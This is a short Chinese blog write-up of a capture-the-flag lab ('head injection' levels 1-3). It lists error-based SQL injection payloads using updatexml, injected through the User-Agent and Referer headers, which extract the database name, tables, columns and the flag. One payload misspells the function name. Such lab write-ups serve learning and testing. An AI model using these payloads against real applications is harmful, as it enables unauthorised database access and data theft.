封神台 head注入1-3

在这里插入图片描述可以看到源代码只是对name和password做了过滤,但是全局变量user-agent是可控的

 bp抓包修改user-agent头
 1' and extaclvalue(1,concat(0x7e,(select database()),1)) and '
 1' and updatexml(1,concat(0x7e,(select table_name from information_schema.tables where table_schema=database() limit 0,1)),1),'2') # ' //爆表,由于使用extaclualue会被拒绝执行,还是用会updatexml吧
 1' and updatexml(1,concat(0x7e,(select column_name from information_schema.columns where table_schema='head_error' and table_name='flag_head' limit 0,1)),1),'2') # ' //列名
1' and updatexml(1,concat(0x7e,(select flag_h1 from flag_head limit 0,1)),1),'2') # ' //字段

 

在这里插入图片描述在这里插入图片描述

第二关和第三关根据源码换成Referer头即可,payload一样

评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值